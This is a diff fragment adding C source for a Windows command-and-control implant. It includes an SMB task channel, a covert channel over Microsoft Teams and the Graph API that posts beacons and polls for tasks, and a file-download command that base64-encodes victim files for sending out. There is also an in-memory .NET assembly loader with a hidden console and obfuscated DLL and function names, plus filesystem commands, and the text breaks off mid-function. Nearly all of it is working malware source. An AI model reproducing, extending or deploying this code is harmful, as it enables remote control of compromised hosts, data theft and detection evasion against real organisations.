if (!ok)
|
||||
{
|
||||
free(resp);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
resp[rlen] = '\0';
|
||||
|
||||
/* buffer task if present */
|
||||
char task[SMB_MAX_RESP];
|
||||
if (json_str(resp, "p", task, sizeof(task)) == 0 && task[0])
|
||||
{
|
||||
strncpy(s_pending, task, sizeof(s_pending) - 1);
|
||||
s_pending[sizeof(s_pending) - 1] = '\0';
|
||||
s_pending_set = 1;
|
||||
}
|
||||
free(resp);
|
||||
return CHANNEL_OK;
|
||||
}
|
||||
|
||||
/* return task buffered by smb_send, NULL if none */
|
||||
|
||||
char *smb_recv(void)
|
||||
{
|
||||
if (!s_pending_set || !s_pending[0])
|
||||
return NULL;
|
||||
char *ret = strdup(s_pending);
|
||||
s_pending[0] = '\0';
|
||||
s_pending_set = 0;
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,269 @@
|
||||
#include "channels.h"
|
||||
#include "util.h"
|
||||
#include <curl/curl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifndef CURLSSLOPT_NATIVE_CA
|
||||
#define CURLSSLOPT_NATIVE_CA (1 << 4)
|
||||
#endif
|
||||
|
||||
/* ---- libcurl response buffer ---- */
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char *data;
|
||||
size_t len;
|
||||
} curl_buf_t;
|
||||
|
||||
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
|
||||
{
|
||||
curl_buf_t *buf = (curl_buf_t *)userdata;
|
||||
size_t nb = size * nmemb;
|
||||
char *tmp = realloc(buf->data, buf->len + nb + 1);
|
||||
if (!tmp)
|
||||
return 0;
|
||||
buf->data = tmp;
|
||||
memcpy(buf->data + buf->len, ptr, nb);
|
||||
buf->len += nb;
|
||||
buf->data[buf->len] = '\0';
|
||||
return nb;
|
||||
}
|
||||
|
||||
/* get an OAuth2 client_credentials token for the Graph API */
|
||||
|
||||
static char *teams_get_access_token(const channel_config_t *cfg)
|
||||
{
|
||||
char url[256];
|
||||
snprintf(url, sizeof(url),
|
||||
"https://login.microsoftonline.com/%s/oauth2/v2.0/token",
|
||||
cfg->teams_tenant_id);
|
||||
|
||||
char body[1024];
|
||||
snprintf(body, sizeof(body),
|
||||
"grant_type=client_credentials"
|
||||
"&client_id=%s"
|
||||
"&client_secret=%s"
|
||||
"&scope=https%%3A%%2F%%2Fgraph.microsoft.com%%2F.default",
|
||||
cfg->teams_client_id,
|
||||
cfg->teams_client_secret);
|
||||
|
||||
CURL *curl = curl_easy_init();
|
||||
if (!curl)
|
||||
return NULL;
|
||||
|
||||
curl_buf_t resp = {0};
|
||||
|
||||
char ua_hdr[320];
|
||||
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
|
||||
|
||||
struct curl_slist *hdrs = NULL;
|
||||
hdrs = curl_slist_append(hdrs, "Content-Type: application/x-www-form-urlencoded");
|
||||
hdrs = curl_slist_append(hdrs, ua_hdr);
|
||||
|
||||
curl_apply_opsec(curl);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
|
||||
|
||||
CURLcode res = curl_easy_perform(curl);
|
||||
long code = 0;
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
|
||||
curl_slist_free_all(hdrs);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK || code != 200)
|
||||
{
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Extract "access_token":"<value>" */
|
||||
const char *p = strstr(resp.data, "\"access_token\"");
|
||||
if (!p)
|
||||
{
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
p += strlen("\"access_token\"");
|
||||
while (*p == ' ' || *p == ':')
|
||||
p++;
|
||||
if (*p != '"')
|
||||
{
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
p++;
|
||||
|
||||
size_t i = 0, cap = 2048;
|
||||
char *tok = malloc(cap);
|
||||
if (!tok)
|
||||
{
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
while (*p && *p != '"' && i < cap - 1)
|
||||
tok[i++] = *p++;
|
||||
tok[i] = '\0';
|
||||
free(resp.data);
|
||||
return tok;
|
||||
}
|
||||
|
||||
/* make a request to the Microsoft Graph API */
|
||||
|
||||
static char *graph_request(const char *access_token, const char *url,
|
||||
const char *method, const char *body_json)
|
||||
{
|
||||
CURL *curl = curl_easy_init();
|
||||
if (!curl)
|
||||
return NULL;
|
||||
|
||||
curl_buf_t resp = {0};
|
||||
|
||||
struct curl_slist *hdrs = NULL;
|
||||
char auth_hdr[2400];
|
||||
char ua_hdr2[320];
|
||||
snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: Bearer %s", access_token);
|
||||
snprintf(ua_hdr2, sizeof(ua_hdr2), "User-Agent: %s", random_ua());
|
||||
hdrs = curl_slist_append(hdrs, auth_hdr);
|
||||
hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
|
||||
hdrs = curl_slist_append(hdrs, ua_hdr2);
|
||||
|
||||
curl_apply_opsec(curl);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
|
||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
|
||||
if (method && strcmp(method, "POST") == 0)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_POST, 1L);
|
||||
if (body_json)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
|
||||
}
|
||||
}
|
||||
else if (method && strcmp(method, "GET") == 0)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
|
||||
}
|
||||
|
||||
CURLcode res = curl_easy_perform(curl);
|
||||
long code = 0;
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
|
||||
curl_slist_free_all(hdrs);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK || code < 200 || code >= 300)
|
||||
{
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
return resp.data;
|
||||
}
|
||||
|
||||
/* post beacon as a Teams message in the configured channel */
|
||||
|
||||
int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
|
||||
return CHANNEL_ERR;
|
||||
|
||||
char *token = teams_get_access_token(cfg);
|
||||
if (!token)
|
||||
return CHANNEL_ERR;
|
||||
|
||||
char url[512];
|
||||
snprintf(url, sizeof(url),
|
||||
"https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages",
|
||||
cfg->teams_team_id, cfg->teams_channel_id);
|
||||
|
||||
/* message format: LC2:{agent_id}:{payload} */
|
||||
size_t body_sz = strlen(b64) + 256;
|
||||
char *body = malloc(body_sz);
|
||||
if (!body)
|
||||
{
|
||||
free(token);
|
||||
return CHANNEL_ERR;
|
||||
}
|
||||
|
||||
snprintf(body, body_sz,
|
||||
"{\"body\":{\"contentType\":\"text\","
|
||||
"\"content\":\"LC2:%s:%s\"}}",
|
||||
agent_id, b64);
|
||||
|
||||
char *resp = graph_request(token, url, "POST", body);
|
||||
free(body);
|
||||
free(token);
|
||||
|
||||
if (!resp)
|
||||
return CHANNEL_ERR;
|
||||
free(resp);
|
||||
return CHANNEL_OK;
|
||||
}
|
||||
|
||||
/* read latest channel messages and find a task for this agent */
|
||||
|
||||
char *teams_recv(const channel_config_t *cfg, const char *agent_id)
|
||||
{
|
||||
if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
|
||||
return NULL;
|
||||
|
||||
char *token = teams_get_access_token(cfg);
|
||||
if (!token)
|
||||
return NULL;
|
||||
|
||||
/* fetch last 10 messages */
|
||||
char url[512];
|
||||
snprintf(url, sizeof(url),
|
||||
"https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages"
|
||||
"?$top=10&$orderby=createdDateTime+desc",
|
||||
cfg->teams_team_id, cfg->teams_channel_id);
|
||||
|
||||
char *resp = graph_request(token, url, "GET", NULL);
|
||||
free(token);
|
||||
if (!resp)
|
||||
return NULL;
|
||||
|
||||
/*
|
||||
* Look for "TASK:{agent_id}:{b64}" in the message content.
|
||||
* The server posts tasks as: TASK:<agent_id>:<b64_payload>
|
||||
*/
|
||||
char prefix[64];
|
||||
snprintf(prefix, sizeof(prefix), "TASK:%s:", agent_id);
|
||||
const char *p = strstr(resp, prefix);
|
||||
if (!p)
|
||||
{
|
||||
free(resp);
|
||||
return NULL;
|
||||
}
|
||||
p += strlen(prefix);
|
||||
|
||||
/* Extract until end of JSON string (next \") */
|
||||
size_t i = 0, cap = 4096;
|
||||
char *out = malloc(cap);
|
||||
if (!out)
|
||||
{
|
||||
free(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (*p && *p != '"' && *p != '\\' && i < cap - 1)
|
||||
out[i++] = *p++;
|
||||
out[i] = '\0';
|
||||
|
||||
free(resp);
|
||||
if (i == 0)
|
||||
{
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int cmd_download(const char *local_path, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!local_path || !output_buf) return -1;
|
||||
|
||||
HANDLE fh = CreateFileA(
|
||||
local_path,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (fh == INVALID_HANDLE_VALUE) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[download] Cannot open %s: error %lu\n",
|
||||
local_path, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
LARGE_INTEGER file_size_li;
|
||||
if (!GetFileSizeEx(fh, &file_size_li)) {
|
||||
CloseHandle(fh);
|
||||
snprintf(output_buf, output_size, "[download] GetFileSizeEx failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
LONGLONG file_size = file_size_li.QuadPart;
|
||||
|
||||
size_t max_raw = (output_size - 64) * 3 / 4;
|
||||
if ((LONGLONG)max_raw < file_size) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[download] File too large (%lld bytes, max %zu). "
|
||||
"Use chunked download.\n",
|
||||
file_size, max_raw);
|
||||
CloseHandle(fh);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t *raw = malloc((size_t)file_size);
|
||||
if (!raw) {
|
||||
CloseHandle(fh);
|
||||
snprintf(output_buf, output_size, "[download] malloc failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
BOOL ok = ReadFile(fh, raw, (DWORD)file_size, &bytes_read, NULL);
|
||||
CloseHandle(fh);
|
||||
|
||||
if (!ok || bytes_read != (DWORD)file_size) {
|
||||
free(raw);
|
||||
snprintf(output_buf, output_size, "[download] ReadFile failed: %lu\n",
|
||||
GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *b64 = base64_encode(raw, (size_t)file_size);
|
||||
free(raw);
|
||||
|
||||
if (!b64) {
|
||||
snprintf(output_buf, output_size, "[download] base64_encode failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Output format: "[download] path:<path>\n<b64_content>" */
|
||||
int hdr_len = snprintf(output_buf, output_size,
|
||||
"[download] path:%s\n", local_path);
|
||||
if (hdr_len < 0 || (size_t)hdr_len >= output_size) {
|
||||
free(b64);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t b64_len = strlen(b64);
|
||||
size_t avail = output_size - (size_t)hdr_len - 1;
|
||||
if (b64_len > avail) b64_len = avail;
|
||||
|
||||
memcpy(output_buf + hdr_len, b64, b64_len);
|
||||
output_buf[hdr_len + b64_len] = '\0';
|
||||
free(b64);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,312 @@
|
||||
#define COBJMACROS
|
||||
#define INITGUID
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <cguid.h>
|
||||
#include <mscoree.h>
|
||||
#include <oleauto.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef HRESULT(STDAPICALLTYPE *CorBind_t)(
|
||||
LPCWSTR pwszVersion, LPCWSTR pwszBuildFlavor,
|
||||
DWORD dwStartupFlags, REFCLSID rclsid, REFIID riid, LPVOID *ppv);
|
||||
|
||||
static HRESULT _disp0(IDispatch *p, LPCOLESTR name, VARIANT *out)
|
||||
{
|
||||
DISPID did = 0;
|
||||
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
|
||||
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
|
||||
if (FAILED(hr))
|
||||
return hr;
|
||||
DISPPARAMS dp = {NULL, NULL, 0, 0};
|
||||
if (out)
|
||||
VariantInit(out);
|
||||
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
|
||||
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
|
||||
&dp, out, NULL, NULL);
|
||||
}
|
||||
|
||||
static HRESULT _disp1(IDispatch *p, LPCOLESTR name, VARIANT *arg, VARIANT *out)
|
||||
{
|
||||
DISPID did = 0;
|
||||
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
|
||||
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
|
||||
if (FAILED(hr))
|
||||
return hr;
|
||||
DISPPARAMS dp = {arg, NULL, 1, 0};
|
||||
if (out)
|
||||
VariantInit(out);
|
||||
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
|
||||
DISPATCH_METHOD | DISPATCH_PROPERTYGET,
|
||||
&dp, out, NULL, NULL);
|
||||
}
|
||||
|
||||
static HRESULT _disp_invoke3(IDispatch *p, VARIANT *vObj, VARIANT *vParams, VARIANT *out)
|
||||
{
|
||||
DISPID did = 0;
|
||||
LPCOLESTR name = L"Invoke_3";
|
||||
HRESULT hr = p->lpVtbl->GetIDsOfNames(p, &IID_NULL,
|
||||
(LPOLESTR *)&name, 1, LOCALE_USER_DEFAULT, &did);
|
||||
if (FAILED(hr))
|
||||
return hr;
|
||||
VARIANT args[2];
|
||||
args[0] = *vParams;
|
||||
args[1] = *vObj;
|
||||
DISPPARAMS dp = {args, NULL, 2, 0};
|
||||
if (out)
|
||||
VariantInit(out);
|
||||
return p->lpVtbl->Invoke(p, did, &IID_NULL, LOCALE_USER_DEFAULT,
|
||||
DISPATCH_METHOD, &dp, out, NULL, NULL);
|
||||
}
|
||||
|
||||
static size_t _read_pipe(HANDLE hPipe, char *buf, size_t bufsz)
|
||||
{
|
||||
size_t off = 0;
|
||||
DWORD got = 0;
|
||||
while (off < bufsz - 1)
|
||||
{
|
||||
DWORD avail = 0;
|
||||
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
|
||||
{
|
||||
/* wait briefly and retry once */
|
||||
Sleep(50);
|
||||
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &avail, NULL) || avail == 0)
|
||||
break;
|
||||
}
|
||||
DWORD to_read = (avail < (DWORD)(bufsz - 1 - off))
|
||||
? avail
|
||||
: (DWORD)(bufsz - 1 - off);
|
||||
if (!ReadFile(hPipe, buf + off, to_read, &got, NULL))
|
||||
break;
|
||||
off += got;
|
||||
}
|
||||
buf[off] = '\0';
|
||||
return off;
|
||||
}
|
||||
|
||||
int cmd_execasm(const uint8_t *asm_bytes, size_t asm_len,
|
||||
const char *args_str,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!asm_bytes || !asm_len || !output_buf || output_size < 128)
|
||||
return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};
|
||||
HANDLE hRead = NULL, hWrite = NULL;
|
||||
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] CreatePipe: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
AllocConsole();
|
||||
HWND hwcon = GetConsoleWindow();
|
||||
if (hwcon)
|
||||
ShowWindow(hwcon, SW_HIDE);
|
||||
|
||||
HANDLE hOldOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
HANDLE hOldErr = GetStdHandle(STD_ERROR_HANDLE);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, hWrite);
|
||||
SetStdHandle(STD_ERROR_HANDLE, hWrite);
|
||||
|
||||
HRESULT hr = E_FAIL;
|
||||
int ret = -1;
|
||||
|
||||
char _dm[12], _fc[20];
|
||||
EVS_D(_dm, EVS_dll_mscoree); EVS_D(_fc, EVS_fn_CorBindToRuntimeEx);
|
||||
HMODULE hMscoree = LoadLibraryA(_dm);
|
||||
SecureZeroMemory(_dm, sizeof(_dm));
|
||||
if (!hMscoree)
|
||||
{
|
||||
SecureZeroMemory(_fc, sizeof(_fc));
|
||||
snprintf(output_buf, output_size, "[execasm] clr host missing\n");
|
||||
goto restore;
|
||||
}
|
||||
|
||||
CorBind_t pCorBind = (CorBind_t)(void *)GetProcAddress(hMscoree, _fc);
|
||||
SecureZeroMemory(_fc, sizeof(_fc));
|
||||
if (!pCorBind)
|
||||
{
|
||||
snprintf(output_buf, output_size, "[execasm] CorBindToRuntimeEx missing\n");
|
||||
FreeLibrary(hMscoree);
|
||||
goto restore;
|
||||
}
|
||||
|
||||
ICorRuntimeHost *pHost = NULL;
|
||||
hr = pCorBind(L"v4.0.30319", L"wks", 0,
|
||||
&CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
|
||||
if (FAILED(hr))
|
||||
hr = pCorBind(NULL, L"wks", 0,
|
||||
&CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (void **)&pHost);
|
||||
|
||||
if (FAILED(hr) || !pHost)
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] CorBind: 0x%08lx\n", (unsigned long)hr);
|
||||
FreeLibrary(hMscoree);
|
||||
goto restore;
|
||||
}
|
||||
|
||||
hr = ICorRuntimeHost_Start(pHost);
|
||||
/* 0x80131041 = HOST_E_ALREADY_STARTED — not an error */
|
||||
if (FAILED(hr) && hr != (HRESULT)0x80131041UL)
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] CLR Start: 0x%08lx\n", (unsigned long)hr);
|
||||
ICorRuntimeHost_Release(pHost);
|
||||
FreeLibrary(hMscoree);
|
||||
goto restore;
|
||||
}
|
||||
|
||||
IUnknown *pDomUnk = NULL;
|
||||
IDispatch *pAppDomain = NULL;
|
||||
IDispatch *pAssembly = NULL;
|
||||
IDispatch *pEntryPt = NULL;
|
||||
SAFEARRAY *pAsmSA = NULL;
|
||||
VARIANT vAsmArg, vAssembly, vEP, vObj, vParams, vRet;
|
||||
|
||||
hr = ICorRuntimeHost_GetDefaultDomain(pHost, &pDomUnk);
|
||||
if (FAILED(hr) || !pDomUnk)
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] GetDefaultDomain: 0x%08lx\n", (unsigned long)hr);
|
||||
goto clr_stop;
|
||||
}
|
||||
pDomUnk->lpVtbl->QueryInterface(pDomUnk, &IID_IDispatch, (void **)&pAppDomain);
|
||||
pDomUnk->lpVtbl->Release(pDomUnk);
|
||||
|
||||
if (!pAppDomain)
|
||||
{
|
||||
snprintf(output_buf, output_size, "[execasm] QI IDispatch (AppDomain)\n");
|
||||
goto clr_stop;
|
||||
}
|
||||
|
||||
{
|
||||
SAFEARRAYBOUND sab = {(ULONG)asm_len, 0};
|
||||
pAsmSA = SafeArrayCreate(VT_UI1, 1, &sab);
|
||||
if (!pAsmSA)
|
||||
{
|
||||
snprintf(output_buf, output_size, "[execasm] SafeArrayCreate\n");
|
||||
goto clr_stop;
|
||||
}
|
||||
void *pData = NULL;
|
||||
SafeArrayAccessData(pAsmSA, &pData);
|
||||
memcpy(pData, asm_bytes, asm_len);
|
||||
SafeArrayUnaccessData(pAsmSA);
|
||||
}
|
||||
|
||||
VariantInit(&vAsmArg);
|
||||
vAsmArg.vt = VT_ARRAY | VT_UI1;
|
||||
vAsmArg.parray = pAsmSA;
|
||||
|
||||
hr = _disp1(pAppDomain, L"Load_3", &vAsmArg, &vAssembly);
|
||||
VariantClear(&vAsmArg);
|
||||
pAppDomain->lpVtbl->Release(pAppDomain);
|
||||
pAppDomain = NULL;
|
||||
|
||||
if (FAILED(hr) || vAssembly.vt != VT_DISPATCH || !vAssembly.pdispVal)
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] AppDomain.Load_3: 0x%08lx\n", (unsigned long)hr);
|
||||
goto clr_stop;
|
||||
}
|
||||
pAssembly = vAssembly.pdispVal;
|
||||
|
||||
hr = _disp0(pAssembly, L"get_EntryPoint", &vEP);
|
||||
pAssembly->lpVtbl->Release(pAssembly);
|
||||
pAssembly = NULL;
|
||||
|
||||
if (FAILED(hr) || vEP.vt != VT_DISPATCH || !vEP.pdispVal)
|
||||
{
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] get_EntryPoint: 0x%08lx (no static Main?)\n",
|
||||
(unsigned long)hr);
|
||||
goto clr_stop;
|
||||
}
|
||||
pEntryPt = vEP.pdispVal;
|
||||
|
||||
VariantInit(&vObj);
|
||||
vObj.vt = VT_NULL;
|
||||
VariantInit(&vParams);
|
||||
vParams.vt = VT_NULL;
|
||||
|
||||
if (args_str && args_str[0])
|
||||
{
|
||||
char *dup = _strdup(args_str);
|
||||
int nargs = 0;
|
||||
char *tok = strtok(dup, " \t");
|
||||
while (tok)
|
||||
{
|
||||
nargs++;
|
||||
tok = strtok(NULL, " \t");
|
||||
}
|
||||
free(dup);
|
||||
|
||||
if (nargs > 0)
|
||||
{
|
||||
SAFEARRAYBOUND sb = {(ULONG)nargs, 0};
|
||||
SAFEARRAY *pStrSA = SafeArrayCreate(VT_VARIANT, 1, &sb);
|
||||
dup = _strdup(args_str);
|
||||
long i = 0;
|
||||
tok = strtok(dup, " \t");
|
||||
while (tok && i < nargs)
|
||||
{
|
||||
VARIANT vs;
|
||||
VariantInit(&vs);
|
||||
vs.vt = VT_BSTR;
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, tok, -1, NULL, 0);
|
||||
vs.bstrVal = SysAllocStringLen(NULL, (UINT)(wlen - 1));
|
||||
MultiByteToWideChar(CP_ACP, 0, tok, -1, vs.bstrVal, wlen);
|
||||
SafeArrayPutElement(pStrSA, &i, &vs);
|
||||
VariantClear(&vs);
|
||||
i++;
|
||||
tok = strtok(NULL, " \t");
|
||||
}
|
||||
free(dup);
|
||||
vParams.vt = VT_ARRAY | VT_VARIANT;
|
||||
vParams.parray = pStrSA;
|
||||
}
|
||||
}
|
||||
|
||||
VariantInit(&vRet);
|
||||
hr = _disp_invoke3(pEntryPt, &vObj, &vParams, &vRet);
|
||||
VariantClear(&vParams);
|
||||
VariantClear(&vRet);
|
||||
pEntryPt->lpVtbl->Release(pEntryPt);
|
||||
pEntryPt = NULL;
|
||||
|
||||
ret = (SUCCEEDED(hr) || hr == (HRESULT)0x80131604UL) ? 0 : -1;
|
||||
if (ret != 0)
|
||||
snprintf(output_buf, output_size,
|
||||
"[execasm] Invoke_3: 0x%08lx\n", (unsigned long)hr);
|
||||
|
||||
clr_stop:
|
||||
ICorRuntimeHost_Stop(pHost);
|
||||
ICorRuntimeHost_Release(pHost);
|
||||
FreeLibrary(hMscoree);
|
||||
|
||||
restore:
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, hOldOut);
|
||||
SetStdHandle(STD_ERROR_HANDLE, hOldErr);
|
||||
CloseHandle(hWrite);
|
||||
FreeConsole();
|
||||
|
||||
{
|
||||
size_t off = strlen(output_buf);
|
||||
size_t avail = output_size > off ? output_size - off - 1 : 0;
|
||||
if (avail > 0)
|
||||
off += _read_pipe(hRead, output_buf + off, avail + 1);
|
||||
if (off == 0)
|
||||
snprintf(output_buf, output_size, "(no output)\n");
|
||||
}
|
||||
|
||||
CloseHandle(hRead);
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
/*
|
||||
* fs.c — filesystem commands: ls, mkdir, rm, cp, mv
|
||||
*/
|
||||
#include "commands.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* internal helpers */
|
||||
|
||||
static void _ftime_str(const FILETIME *ft, char *buf, size_t sz)
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
FILETIME local;
|
||||
FileTimeToLocalFileTime(ft, &local);
|
||||
FileTimeToSystemTime(&local, &st);
|
||||
snprintf(buf, sz, "%04u-%02u-%02u %02u:%02u",
|
||||
(unsigned)st.wYear, (unsigned)st.wMonth,
|
||||
(unsigned)st.wDay, (unsigned)st.wHour,
|
||||
(unsigned)st.wMinute);
|
||||
}
|
||||
|
||||
/* return 1 if path is an existing directory */
|
||||
static int _is_dir(const char *path)
|
||||
{
|
||||
DWORD attr = GetFileAttributesA(path);
|
||||
return (attr != INVALID_FILE_ATTRIBUTES) &&
|
||||
(attr & FILE_ATTRIBUTE_DIRECTORY);
|
||||
}
|
||||
|
||||
/* list directory contents */
|
||||
|
||||
int cmd_ls(const char *path, char *output_buf, size_t output_size)
|
||||
{
|
||||
char pattern[MAX_PATH];
|
||||
|
||||
if (!path || !path[0])
|
||||
path = ".";
|
||||
|
||||
/* append \* if path is a directory with no wildcard */
|
||||
if (!strchr(path, '*') && !strchr(path, '?') && _is_dir(path)) {
|
||||
size_t plen = strlen(path);
|
||||
if (plen + 3 >= sizeof(pattern)) {
|
||||
snprintf(output_buf, output_size, "[ls] path too long\n");
|
||||
return -1;
|
||||
}
|
||||
memcpy(pattern, path, plen);
|
||||
pattern[plen] = '\\';
|
||||
pattern[plen+1] = '*';
|
||||
pattern[plen+2] = '\0';
|
||||
} else {
|
||||
strncpy(pattern, path, sizeof(pattern) - 1);
|
||||
pattern[sizeof(pattern) - 1] = '\0';
|
||||
}
|
||||
|
||||
WIN32_FIND_DATAA fd;
|
||||
HANDLE h = FindFirstFileA(pattern, &fd);
|
||||
if (h == INVALID_HANDLE_VALUE) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[ls] %s: %lu\n", path, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* column header */
|
||||
size_t pos = 0;
|
||||
int n = snprintf(output_buf + pos, output_size - pos,
|
||||
"%-1s %-16s %12s %s\n",
|
||||
"T", "Date modified", "Size", "Name");
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
do {
|
||||
if (strcmp(fd.cFileName, ".") == 0 || strcmp(fd.cFileName, "..") == 0)
|
||||
continue;
|
||||
|
||||
int is_dir = (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0;
|
||||
char date[32];
|
||||
_ftime_str(&fd.ftLastWriteTime, date, sizeof(date));
|
||||
|
||||
ULONGLONG size_bytes = ((ULONGLONG)fd.nFileSizeHigh << 32) | fd.nFileSizeLow;
|
||||
|
||||
if (is_dir)
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
"d %-16s %12s %s\n",
|
||||
date, "<DIR>", fd.cFileName);
|
||||
else
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
"f %-16s %12llu %s\n",
|
||||
date, size_bytes, fd.cFileName);
|
||||
|
||||
if (n > 0 && (size_t)n < output_size - pos)
|
||||
pos += (size_t)n;
|
||||
else
|
||||
break; /* buffer full */
|
||||
|
||||
} while (FindNextFileA(h, &fd));
|
||||
|
||||
FindClose(h);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* create a directory */
|
||||
|
||||
int cmd_mkdir(const char *path, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!path || !path[0]) {
|
||||
snprintf(output_buf, output_size, "[mkdir] usage: mkdir <path>\n");
|
||||
return -1;
|
||||
}
|
||||
if (CreateDirectoryA(path, NULL)) {
|
||||
snprintf(output_buf, output_size, "[mkdir] created: %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_ALREADY_EXISTS) {
|
||||
snprintf(output_buf, output_size, "[mkdir] already exists: %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
